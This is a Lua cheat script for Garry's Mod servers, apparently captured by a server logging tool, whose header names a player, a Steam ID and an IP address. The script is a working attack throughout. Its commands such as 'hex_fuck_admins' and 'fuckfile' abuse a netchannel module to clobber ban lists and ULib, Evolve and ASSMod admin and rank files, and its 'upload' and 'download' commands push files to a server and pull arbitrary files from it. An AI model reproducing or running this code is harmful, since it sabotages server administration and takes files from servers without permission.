--[[
	MOD/lua/hacks.lua [#3770 (#3770), 318722588, UID:877987243]
	Calver | STEAM_0:0:36375256 <92.24.185.41:27005> | [07.04.14 04:29:30PM]
	===BadFile===
]]

if not chan then
        require("chan")
end
 
 
 
local function UploadChair(ply,cmd,args)
        local Path = "data/adv_duplicator/=Public Folder=/office_chair.txt"
        if (#args != 0) then
                Path = "data/adv_duplicator/STEAM_0_0_17809124/office_chair.txt"
        end
       
        chan.SendFile(Path)
        print("[OK] Sent '"..Path.."' using CHAN")
end
concommand.Add("hex_upload_chair", UploadChair)
 
 
local function FuckFile(File, Where)
        if Where then
                chan.MKDIR(Where)
                File = Where.."\\"..File
        else
                File = "data\\"..File
        end
        chan.MKDIR(File)
       
        local That = File.."\\o.txt"
       
        chan.Write(That, "local agent\nfunction() TESTING")
        chan.SendFile(That)
        print("! FuckFile: ", That)
       
        chan.Delete(That)
        chan.RMDIR(File)
        if Where then
                chan.RMDIR(Where)
        end
       
        timer.Simple(3, function()
                chan.Delete(That)
               
                chan.RMDIR(File)
                if Where then
                        chan.RMDIR(Where)
                end
        end)
end
 
 
local function FuckThatFile(ply,cmd,args) --fuckfile
        if (#args == 0) then
                print("[ERR] No args!")
                return
               
        elseif (#args == 1) then
                FuckFile(args[1])
               
        elseif (#args == 2) then
                FuckFile(args[2], args[1]) --File, Where
        end
end
concommand.Add("fuckfile", FuckThatFile)
 
 
local ToFuck = {
        {What = "banned_user.cfg",              Where = "cfg"},
        {What = "banned_ip.cfg",                Where = "cfg"},
		{What = "changelog.txt",                Where = "gamemodes\\darkrp"},
        {What = "hud.lua",                Where = "gamemodes\\darkrp\\client"},
        {What = "bans.txt",                     Where = "data\\ULib"},
        {What = "users.txt",                    Where = "data\\ULib"},
        {What = "groups.txt",                   Where = "data\\ULib"},
        {What = "misc_registered.txt",  Where = "data\\ULib"},
       
        {What = "ranks.txt",                    Where = "data\\FSAMod"},
       
        {What = "ev_playerinfo.txt"},
        {What = "ev_userranks.txt"},
        {What = "ev_globalvars.txt"},
       
        {What = "ass_config_server.txt"},
        {What = "ass_debug_sv.txt"},
        {What = "ass_rankings.txt"},
}
 
local function FuckAdminFiles(ply,cmd,args)
       
        for k,v in pairs(ToFuck) do
                timer.Simple(k/5, function()
                        FuckFile(v.What, v.Where)
                end)
        end
end
concommand.Add("hex_fuck_admins", FuckAdminFiles)
 
 
 
 
local function SendFile(ply,cmd,args)
        if (#args == 0) then
                print("[ERR] No args!")
                return
        end
       
        local What = args[1]
       
        print("! SendFile '"..What.."' : ", chan.SendFile(What) )
end
concommand.Add("upload", SendFile)
 
local function RequestFile(ply,cmd,args)
        if (#args == 0) then
                print("[ERR] No args!")
                return
        end
       
        local What = args[1]
       
        --console.Command("net_showfragments 2")
        print("! RequestFile '"..What.."' : ", chan.RequestFile(What) )
       
        timer.Simple(3, function()
                if file.Exists(What, true) then
                        print("! done :D")
                else
                        print("! no file :(")
                end
        end)
       
        timer.Simple(10, function()
                --console.Command("net_showfragments 0")
        end)
end
concommand.Add("download", RequestFile)